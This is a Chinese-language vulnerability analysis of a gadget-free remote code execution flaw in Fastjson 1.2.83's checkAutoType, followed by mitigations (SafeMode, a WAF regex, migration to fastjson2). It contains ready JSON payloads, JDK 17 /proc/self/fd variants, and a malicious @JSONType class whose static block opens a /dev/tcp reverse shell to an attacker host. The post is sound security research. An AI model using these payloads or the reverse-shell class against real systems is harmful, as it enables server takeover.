Fastjson 1.2.83 无需 Gadget RCE漏洞分析

Administrator 69 阅读 漏洞研究渗透

Fastjson 1.2.83 无需 Gadget RCE:checkAutoType 中 getResourceAsStream 远程类加载漏洞深度分析

1 漏洞概述

2026 年 7 月 19 日,安全研究员 Kirill Firsov 公开披露了 Fastjson 1.x 末代版本(1.2.66 ~ 1.2.83)中一个远程代码执行漏洞。该漏洞的突破性在于:不依赖目标 classpath 中存在任何已知 Gadget 类,仅凭一条 JSON Payload 即可在默认配置下实现 RCE。

漏洞根因定位在 ParserConfig.checkAutoType() 方法第 1482 行的 typeName.replace('.', '/') 操作:该方法将 @type 值中的所有点号替换为斜杠,再拼接 .class 后缀,作为资源路径传给 ClassLoader 的 getResourceAsStream() 进行类存在性探测。攻击者构造的 @type 值经此替换后可变为指向攻击者控制服务器的 JAR URL,ClassLoader 会发起 HTTP 请求下载远程 JAR 包。若该 JAR 中的类标注了 @JSONType 注解,则 ASM 字节码扫描会将 jsonType 标志置为 true,使得第 1500 行的类加载条件 autoTypeSupport || jsonType || expectClassFlag 满足,进而调用 TypeUtils.loadClass() 加载该恶意类,触发其 <clinit> 静态初始化块执行任意代码。

2 影响范围

  • 受影响版本:Fastjson 1.2.66 ~ 1.2.83(1.x 全线末代版本)
  • 安全版本:无(1.x 系列无修复版本,需迁移至 fastjson2)
  • 完整 RCE 条件:JDK 8 + Spring Boot FatJar(LaunchedURLClassLoader)+ 未启用 SafeMode
  • autoTypeSupport 状态:默认关闭(false)亦可触发

3 漏洞根因分析

3.1 checkAutoType 方法执行流程

ParserConfig.checkAutoType(String typeName, Class<?> expectClass, int features) 是 Fastjson 反序列化的核心安全校验方法,位于 ParserConfig.java 第 1311-1552 行。当解析器遇到 @type 键时,提取类型名后调用此方法进行安全校验。

该方法包含以下关键执行阶段:

L1329:  SafeMode 检查              → 若 safeMode=true 则直接抛异常
L1338:  长度检查                    → 3 ≤ len < 192
L1367:  首尾字符哈希检查            → 阻止 [ 开头和特定结尾的类名
L1386:  内部黑名单哈希检查          → internalDenyHashCodes(无条件执行)
L1397:  外部黑名单哈希检查          → denyHashCodes(条件执行)
L1418:  缓存/映射/deserializer 查找 → 查找已注册的类
L1432:  内部白名单加载              → internalWhite 时直接 loadClass
L1447:  autoTypeSupport=false 黑名单 → 另一道黑名单检查
L1479:  ★ getResourceAsStream 探测  → 资源存在性探测(漏洞点)
L1500:  ★ loadClass 条件判断        → autoTypeSupport || jsonType || expectClassFlag
L1506:  ★ jsonType 直接返回         → 跳过后续安全检查
L1513:  ClassLoader/DataSource/RowSet 后置检查
L1537:  最终 autoType 检查          → 未通过则抛异常

漏洞存在于 L1479-1510 这段代码中。以下逐行分析。

3.2 关键代码段逐行分析

3.2.1 L1447-1477:autoTypeSupport=false 时的黑名单检查

getResourceAsStream 之前,存在一道当 autoTypeSupport=false 时执行的黑名单检查:

// ParserConfig.java L1447-1477
if (!autoTypeSupport) {
    long hash = h3;
    for (int i = 3; i < className.length(); ++i) {
        char c = className.charAt(i);
        hash ^= c;
        hash *= fnv1a_64_magic_prime;

        if (Arrays.binarySearch(denyHashCodes, hash) >= 0) {        // L1454
            if (typeName.endsWith("Exception") || typeName.endsWith("Error")) {  // L1455
                return null;                                         // L1456
            }
            throw new JSONException("autoType is not support. " + typeName);  // L1459
        }

        if (Arrays.binarySearch(acceptHashCodes, hash) >= 0) {      // L1463
            clazz = TypeUtils.loadClass(typeName, defaultClassLoader, true);
            if (clazz == null) { return expectClass; }
            if (expectClass != null && expectClass.isAssignableFrom(clazz)) {
                throw new JSONException("type not match. " + typeName + " -> " + expectClass.getName());
            }
            return clazz;
        }
    }
}

这段代码使用 FNV1a-64 滚动哈希对 className 进行前缀匹配。黑名单 denyHashCodes 中收录了已知危险类的哈希值(如 com.sun.rowset.JdbcRowSetImplcom.sun.org.apache.xalan.internal.xsltc.trax.TemplatesImpljavax.naming.InitialContext 等)。

关键问题:攻击者构造的 @type 值不在黑名单中。

攻击者使用的 @type 值形如 jar:http:..2130706433:19090.probe!.POC,这是一个 JAR URL 格式字符串,不是任何已知危险类的类名。FNV1a-64 哈希滚动匹配不会命中 denyHashCodes 中的任何条目。因此这段黑名单检查无法拦截。

3.2.2 L1479-1498:★ 核心缺陷——getResourceAsStream 资源探测

// ParserConfig.java L1479-1498
boolean jsonType = false;
InputStream is = null;
try {
    String resource = typeName.replace('.', '/') + ".class";       // L1482: 替换!
    if (defaultClassLoader != null) {                               // L1483
        is = defaultClassLoader.getResourceAsStream(resource);     // L1484: 远程请求!
    } else {
        is = ParserConfig.class.getClassLoader().getResourceAsStream(resource); // L1486
    }
    if (is != null) {                                               // L1488
        ClassReader classReader = new ClassReader(is, true);       // L1489: ASM 读取字节码
        TypeCollector visitor = new TypeCollector("<clinit>", new Class[0]); // L1490
        classReader.accept(visitor);                                // L1491: 访问者模式扫描
        jsonType = visitor.hasJsonType();                           // L1492: 检测 @JSONType
    }
} catch (Exception e) {
    // skip                                                         // L1495: 异常静默吞掉!
} finally {
    IOUtils.close(is);                                              // L1497
}

这段代码存在三个叠加缺陷,共同构成漏洞根因:

缺陷一:typeName.replace('.', '/') 无输入校验(L1482)

typeName 是从 JSON 的 @type 值直接提取的字符串,仅经过长度检查(3~192)和首尾字符哈希检查,未校验是否为合法 Java 类名格式,也未校验是否包含 URL 协议前缀。replace('.', '/') 操作将所有点号替换为斜杠,这使得攻击者可以构造特殊格式的 typeName,使其替换后成为合法的 JAR URL。

缺陷二:getResourceAsStream 无协议白名单(L1484/L1486)

Java ClassLoader 的 getResourceAsStream(String name) 方法支持通过 URL 协议加载远程资源。当 name 是一个 JAR URL(如 jar:http://attacker/evil.jar!/Evil.class)时,ClassLoader 会先下载远程 JAR 包,再从中读取指定 class 文件。代码未对 resource 的协议进行白名单限制(如仅允许 file: 或无协议的类路径资源),导致远程 URL 被当作合法资源路径处理。

缺陷三:异常被静默吞掉(L1494-1495)

即使 getResourceAsStream 或 ASM 扫描过程中发生异常(如网络错误、字节码格式错误),异常也被 catch (Exception e) { // skip } 静默吞掉,不会向上层调用者抛出。jsonType 保持为 false,流程继续执行,不产生任何告警或日志。

3.2.3 L1500-1503:★ jsonType 绕过 autoType 检查触发 loadClass

// ParserConfig.java L1500-1503
if (autoTypeSupport || jsonType || expectClassFlag) {              // L1500
    boolean cacheClass = autoTypeSupport || jsonType;               // L1501
    clazz = TypeUtils.loadClass(typeName, defaultClassLoader, cacheClass); // L1502
}

三个条件拆解:

条件 默认值 说明
autoTypeSupport false autoType 开关,默认关闭
jsonType falsetrue 由 L1492 的 hasJsonType() 设置,攻击者通过 @JSONType 注解控制
expectClassFlag false expectClass 参数决定,此处 expectClass=null

jsonType = true 时:false || true || false = true,条件满足,TypeUtils.loadClass() 被调用

cacheClass = false || true = true,加载的类会被写入全局缓存 mappings

3.2.4 L1505-1510:★ jsonType 直接返回,跳过后续安全检查

// ParserConfig.java L1505-1518
if (clazz != null) {
    if (jsonType) {                                                 // L1506
        if (autoTypeSupport) {                                     // L1507
            TypeUtils.addMapping(typeName, clazz);                 // L1508
        }
        return clazz;                                              // L1510: 直接返回!
    }

    if (ClassLoader.class.isAssignableFrom(clazz)                  // L1513
            || javax.sql.DataSource.class.isAssignableFrom(clazz)  // L1514
            || javax.sql.RowSet.class.isAssignableFrom(clazz)      // L1515
            ) {
        throw new JSONException("autoType is not support. " + typeName); // L1517
    }
    // ...
}

jsonType = trueclazz != null 时,代码在第 1510 行直接 return clazz完全跳过了 L1513-1518 的 ClassLoader/DataSource/RowSet 安全检查

更重要的是,也跳过了 L1537-1543 的最终 autoType 检查:

// ParserConfig.java L1537-1543
if (!autoTypeSupport) {
    if (typeName.endsWith("Exception") || typeName.endsWith("Error")) {
        return null;
    }
    throw new JSONException("autoType is not support. " + typeName);
}

如果 jsonType = falseautoTypeSupport = false,代码会走到这里抛出异常阻止类加载。但 jsonType = true 使流程在 L1510 就返回了,这道最终防线也被绕过。

4 攻击链完整路径分析

4.1 攻击链概览

Payload @type 值
    │
    ▼
DefaultJSONParser.parseObject()  ─── 解析 @type,调用 checkAutoType(typeName, null)
    │
    ▼
ParserConfig.checkAutoType()  ─── 安全校验主方法
    │
    ├── [L1329]  safeMode 检查     → safeMode=false,不阻止
    ├── [L1338]  长度检查          → 长度在 3~192 之间,通过
    ├── [L1367]  首尾字符检查      → 首字符 'j',尾字符 'C',通过
    ├── [L1386]  内部黑名单        → JAR URL 格式不在 internalDenyHashCodes,通过
    ├── [L1397]  外部黑名单        → 条件 false,不执行
    ├── [L1418]  缓存/映射查找     → 未命中
    ├── [L1447]  !autoTypeSupport 黑名单 → JAR URL 不在 denyHashCodes,通过
    │
    ├── [L1482]  typeName.replace('.','/') + ".class"  ─── ★ 替换为远程 JAR URL
    ├── [L1484]  getResourceAsStream(jar URL)  ─── ★ HTTP 下载恶意 JAR
    ├── [L1489]  ClassReader + TypeCollector  ─── ★ ASM 扫描字节码
    ├── [L1492]  jsonType = hasJsonType() = true  ─── ★ @JSONType 注解检测
    │
    ├── [L1500]  autoTypeSupport||jsonType||expectClassFlag = true
    ├── [L1502]  TypeUtils.loadClass(typeName, classLoader, true)  ─── ★ 加载恶意类
    │
    └── [L1510]  return clazz  ─── ★ 跳过所有后续安全检查,返回恶意类

4.2 Step 1:Payload 构造与发送

攻击者发送的 JSON Payload:

{"@type":"jar:http:..2130706433:19090.probe!.POC","x":1}

其中:

  • jar: — JAR URL 协议前缀
  • http: — 内嵌 HTTP 子协议
  • .. — 双点号,经 replace('.','/') 后变为 //(URL 协议分隔符)
  • 2130706433127.0.0.1 的十进制整数表示(127×256³ + 0×256² + 0×256 + 1 = 2130706433
  • :19090 — 攻击者 HTTP 服务器端口
  • .probe — 经替换后为 /probe(JAR 包路径)
  • ! — JAR URL 的入口分隔符
  • .POC — 经替换后为 /POC(JAR 包内的 class 路径)

4.3 Step 2:typeName.replace(‘.’, ‘/’) 变换分析

这是漏洞利用的核心变换。checkAutoType 第 1482 行:

String resource = typeName.replace('.', '/') + ".class";

逐字符变换:

输入:  j  a  r  :  h  t  t  p  :  .  .  2  1  3  0  7  0  6  4  3  3  :  1  9  0  9  0  .  p  r  o  b  e  !  .  P  O  C
替换:  j  a  r  :  h  t  t  p  :  /  /  2  1  3  0  7  0  6  4  3  3  :  1  9  0  9  0  /  p  r  o  b  e  !  /  P  O  C
拼接:  j  a  r  :  h  t  t  p  :  /  /  2  1  3  0  7  0  6  4  3  3  :  1  9  0  9  0  /  p  r  o  b  e  !  /  P  O  C  .  c  l  a  s  s

最终结果:jar:http://2130706433:19090/probe!/POC.class

这是一个标准的 JAR URL,含义为:从 http://2130706433:19090/probe 这个远程 JAR 包中加载 POC.class

4.4 Step 3:IP 地址十进制编码的必要性

为什么不能直接使用 127.0.0.1

因为 typeName.replace('.', '/') 会替换所有点号。如果 @type 中包含 127.0.0.1

原始: jar:http:..127.0.0.1:19090.probe!.POC
替换: jar:http:..127/0/0/1:19090/probe!/POC     ← 无效 URL

IPv4 地址中的 . 被替换为 /,URL 无法解析。

十进制编码原理:IPv4 地址 a.b.c.d 可转为 32 位无符号整数 a×256³ + b×256² + c×256 + d,JDK 的 InetAddress 实现支持将此整数解析为 IPv4 地址:

127.0.0.1 → 127×16777216 + 0×65536 + 0×256 + 1 = 2130706433

十进制表示 2130706433 不含任何 .,不受 replace('.', '/') 影响。

4.5 Step 4:getResourceAsStream 触发远程资源加载

// L1483-1487
if (defaultClassLoader != null) {
    is = defaultClassLoader.getResourceAsStream(resource);
} else {
    is = ParserConfig.class.getClassLoader().getResourceAsStream(resource);
}

在 Spring Boot FatJar 部署模式下,defaultClassLoaderorg.springframework.boot.loader.LaunchedURLClassLoader,它继承自 URLClassLoader,支持 JAR URL 协议的解析和加载。

LaunchedURLClassLoader.getResourceAsStream("jar:http://2130706433:19090/probe!/POC.class") 的执行过程:

  1. 解析 JAR URL,提取内嵌 URL http://2130706433:19090/probe
  2. 发起 HTTP GET 请求http://127.0.0.1:19090/probe,下载 JAR 包内容
  3. 解析下载的 JAR 包,从中读取 POC.class 条目的字节码
  4. 返回指向该字节码的 InputStream

到这一步,目标服务器已经向攻击者控制的服务器发起了 HTTP 请求并下载了恶意内容。 即使后续加载失败,SSRF 已经成立。

4.6 Step 5:ASM 字节码扫描与 @JSONType 注解检测

// L1488-1493
if (is != null) {
    ClassReader classReader = new ClassReader(is, true);
    TypeCollector visitor = new TypeCollector("<clinit>", new Class[0]);
    classReader.accept(visitor);
    jsonType = visitor.hasJsonType();
}

Fastjson 使用自实现的 ASM 字节码读取器(com.alibaba.fastjson.asm.ClassReader)解析 InputStream 中的 class 文件字节码。TypeCollector 是一个 ASM 访问者,其 visitAnnotation 方法检测类上的注解:

// TypeCollector.java L9-10, L71-74
private static String JSONType = ASMUtils.desc(com.alibaba.fastjson.annotation.JSONType.class);

public void visitAnnotation(String desc) {
    if (JSONType.equals(desc)) {
        jsonType = true;
    }
}

JSONType 常量是 @JSONType 注解的 ASM 描述符(形如 Lcom/alibaba/fastjson/annotation/JSONType;)。当 ASM 扫描到类上标注了此注解时,jsonType 被置为 true

攻击者在恶意类上标注 @JSONType 注解即可控制此标志。

4.7 Step 6:TypeUtils.loadClass 加载恶意类并触发 RCE

// L1500-1503
if (autoTypeSupport || jsonType || expectClassFlag) {
    boolean cacheClass = autoTypeSupport || jsonType;
    clazz = TypeUtils.loadClass(typeName, defaultClassLoader, cacheClass);
}

TypeUtils.loadClass(String className, ClassLoader classLoader, boolean cache) 的实现:

// TypeUtils.java L1760-1765
if (classLoader != null) {
    clazz = classLoader.loadClass(className);     // ← ClassLoader.loadClass()
    if (cache) {
        mappings.put(className, clazz);            // ← 写入全局缓存
    }
    return clazz;
}

LaunchedURLClassLoader.loadClass("jar:http:..2130706433:19090.probe!.POC") 会:

  1. 解析类名中的 JAR URL
  2. 从远程 JAR 包中获取 POC.class 的字节码
  3. 调用 defineClass() 将字节码转为 Java Class<?> 对象
  4. 触发类的 <clinit> 静态初始化块(JVM 规范要求类首次初始化时执行)
  5. 静态块中的任意代码被执行 → RCE

4.8 Step 7:jsonType=true 跳过后续安全检查

// L1505-1510
if (clazz != null) {
    if (jsonType) {
        if (autoTypeSupport) {
            TypeUtils.addMapping(typeName, clazz);
        }
        return clazz;    // ← 直接返回恶意类
    }
    // L1513-1518 的 ClassLoader/DataSource/RowSet 检查不会执行
    // L1520-1528 的 expectClass 类型检查不会执行
    // L1531-1534 的 creatorConstructor 检查不会执行
    // L1537-1543 的最终 autoType 检查不会执行
}

jsonType = true 使得 return clazz 在 L1510 执行,后续所有安全检查均被跳过。

5 安全检查绕过分析

5.1 各安全检查的绕过原因

安全检查 代码位置 绕过原因
SafeMode L1329-1331 默认 safeMode=false,不触发。唯一有效的防线。
长度检查 L1338-1340 @type 值长度在 3~192 之间,通过
首尾字符哈希 L1367-1374 首字符 j、尾字符 C 的哈希不在阻止列表中
内部黑名单 (internalDenyHashCodes) L1386-1395 JAR URL 格式的滚动哈希不在内部黑名单中
外部黑名单 (denyHashCodes) L1397-1416 执行条件 (!internalWhite) && (autoTypeSupport || expectClassFlag) = true && (false || false) = false不执行
缓存/映射/deserializer 查找 L1418-1431 JAR URL 格式不在任何缓存或映射中
内部白名单 L1432-1434 internalWhite = false,不触发
!autoTypeSupport 黑名单 L1447-1477 JAR URL 格式的滚动哈希不在 denyHashCodes 中,不命中
getResourceAsStream 协议校验 L1484/L1486 不存在任何协议校验,这是核心缺陷
ClassLoader/DataSource/RowSet 检查 L1513-1518 jsonType=true 导致 L1510 的 return clazz 先执行,跳过
最终 autoType 检查 L1537-1543 同上,跳过

5.2 为什么 denyHashCodes 无法拦截?

Fastjson 的黑名单基于 FNV1a-64 滚动哈希前缀匹配。denyHashCodes 数组收录的是已知危险类的哈希值,例如:

  • com.sun.rowset.JdbcRowSetImpl
  • com.sun.org.apache.xalan.internal.xsltc.trax.TemplatesImpl
  • javax.naming.InitialContext
  • 以及其他数十个已知 Gadget 类

攻击者构造的 @typejar:http:..2130706433:19090.probe!.POC 不对应任何已知危险类名。其 FNV1a-64 滚动哈希不会命中 denyHashCodes 中的任何条目。

更根本的问题:黑名单只能封堵已知危险类,无法封堵攻击者自定义的类。本漏洞的恶意类由攻击者自己编写、自己部署、通过远程加载引入,类名完全可控,黑名单机制先天无法应对。

5.3 autoTypeSupport=false 为何不能阻止?

autoTypeSupport=falsejsonType=falseexpectClassFlag=false 时,L1500 的条件为 falseloadClass 不会被调用。流程会到达 L1537-1543 抛出异常。

jsonType 的值由攻击者通过 @JSONType 注解控制。只要恶意类标注了 @JSONTypejsonType 就会被设为 true,使得条件满足。autoTypeSupport=false 这道防线被 jsonType 绕过。

6 恶意类构造

攻击者需要构造一个标注 @JSONType 注解、包含恶意静态初始化块的 Java 类:

import com.alibaba.fastjson.annotation.JSONType;

@JSONType  // ← 使 checkAutoType 中 jsonType=true,绕过 autoTypeSupport 检查
public class POC {
    static {
        // 类加载时自动执行的静态初始化块
        try {
            Runtime.getRuntime().exec(new String[]{"/bin/bash", "-c",
                "bash -i >& /dev/tcp/ATTACKER_IP/PORT 0>&1"});
        } catch (Exception e) {
            e.printStackTrace();
        }
    }
}

编译并打包为 JAR:

javac -cp fastjson-1.2.83.jar POC.java
jar cvf probe.jar POC.class

probe.jar 部署在攻击者控制的 HTTP 服务器(端口 19090)上。

7 JDK 版本适配

7.1 JDK 8:直接 RCE

Payload:

{"@type":"jar:http:..2130706433:19090.probe!.POC","x":1}

JDK 8 的 LaunchedURLClassLoader 完全支持 JAR URL 协议,loadClassdefineClass<clinit> 链路畅通,一条 Payload 即可 RCE。

7.2 JDK 17/21:/proc/self/fd 模式

JDK 9+ 引入模块系统(JPMS),对 ClassLoader.defineClass() 施加限制。攻击者采用两步策略:

第一步:触发 HTTP 请求下载 JAR,Spring Boot 会将 JAR 内容缓存到临时文件:

{"@type":"jar:http:..3232252414:19090.probe!.foo.Exception"}

第二步:通过 /proc/self/fd/N(Linux 进程文件描述符)引用缓存的 JAR 文件,绕过模块限制:

{"@type":"jar:file:.proc.self.fd.3!.fd3.Exception"}

变换过程:

"jar:file:.proc.self.fd.3!.fd3.Exception"
  → "jar:file:/proc/self/fd/3!/fd3/Exception.class"

通过遍历 /proc/self/fd/ 下的文件描述符编号,找到 Spring Boot 缓存的临时 JAR 文件,实现间接加载。

7.3 短链模式(JDK 8)

更简洁的 Payload,直接通过 HTTP 协议加载 class 文件(无需 JAR 包裹):

{"@type":"http:..3232252414:19090.a"}

变换过程:

"http:..3232252414:19090.a"
  → "http://3232252414:19090/a.class"

8 与历史 Fastjson RCE 漏洞的本质区别

对比维度 历史漏洞 本漏洞
Gadget 依赖 需要目标 classpath 中存在特定 Gadget 类 无需任何 Gadget
恶意类来源 目标 classpath 中已有 攻击者远程提供,通过 getResourceAsStream 下载
绕过 autoTypeSupport 利用 expectClass 链 / 缓存污染 / 特定类型 利用 @JSONType 注解使 jsonType=true
黑名单有效性 可通过封堵特定 Gadget 类缓解 黑名单先天无法封堵攻击者自定义类
移除依赖有效性 移除 Gadget 所在 jar 包即可缓解 无效,恶意类不在目标 classpath 中

历史漏洞的攻击模式:

构造 Payload → 绕过 checkAutoType → 加载目标 classpath 中的 Gadget → Gadget 触发 RCE

本漏洞的攻击模式:

构造 Payload → checkAutoType 内的 getResourceAsStream 直接下载恶意类 → 恶意类 @JSONType 绕过后续检查 → loadClass → <clinit> → RCE

核心区别:历史漏洞中,恶意类已经存在于目标环境,防御方的策略是 "守住 Gadget"。本漏洞中,恶意类由攻击者远程注入,"守住 Gadget" 这个前提不再成立。

9 防御方案

9.1 唯一完整有效防护:SafeMode

// 代码配置
ParserConfig.getGlobalInstance().setSafeMode(true);
# JVM 启动参数
-Dfastjson.parser.safeMode=true

有效性证明:SafeMode 在 checkAutoType 的 L1329-1330 执行,位于 getResourceAsStream(L1479)之前。当 safeMode=true 时,方法直接抛出 JSONException,后续所有逻辑(包括资源探测和类加载)均不会执行。

其他防护措施不能完整覆盖的原因

  • 黑名单:无法覆盖攻击者自定义类名
  • autoTypeSupport=false:被 jsonType=true 绕过
  • 移除 Gadget 依赖:恶意类不由目标 classpath 提供
  • WAF:可被编码/混淆绕过,且 JAR URL 格式可能不在 WAF 规则库中

9.2 WAF 临时缓解

在 WAF/ 反向代理层拦截 @type 值中含 URL 协议前缀的请求:

"@type"\s*:\s*"[^"]*(jar:|http:|https:|file:|ftp:)[^"]*"

局限:仅作临时缓解,可能被编码绕过。

9.3 长期方案:迁移至 Fastjson 2.x

Fastjson 2.x 完全重构了类型安全机制,不受此漏洞影响。官方已停止维护 1.x 系列。

10 总结

本漏洞的根因是 ParserConfig.checkAutoType() 方法中的 getResourceAsStream 资源探测逻辑存在三个叠加缺陷:

  1. typeName.replace('.', '/') 无输入校验——允许 JAR URL 格式字符串通过,..// 构成 URL 协议分隔符
  2. getResourceAsStream 无协议白名单——ClassLoader 支持 jar:/http: 协议,触发远程下载
  3. @JSONType 注解使 jsonType=true——绕过 autoTypeSupport=false 限制,满足 loadClass 条件,且直接 return clazz 跳过所有后续安全检查

这三个缺陷叠加,使得攻击者可以通过一条 JSON Payload 在目标服务器上发起远程请求、下载恶意字节码、加载恶意类并执行任意代码,全程不依赖目标环境中的任何 Gadget 类,不受黑名单、autoTypeSupport、后置安全检查的任何约束。


参考资料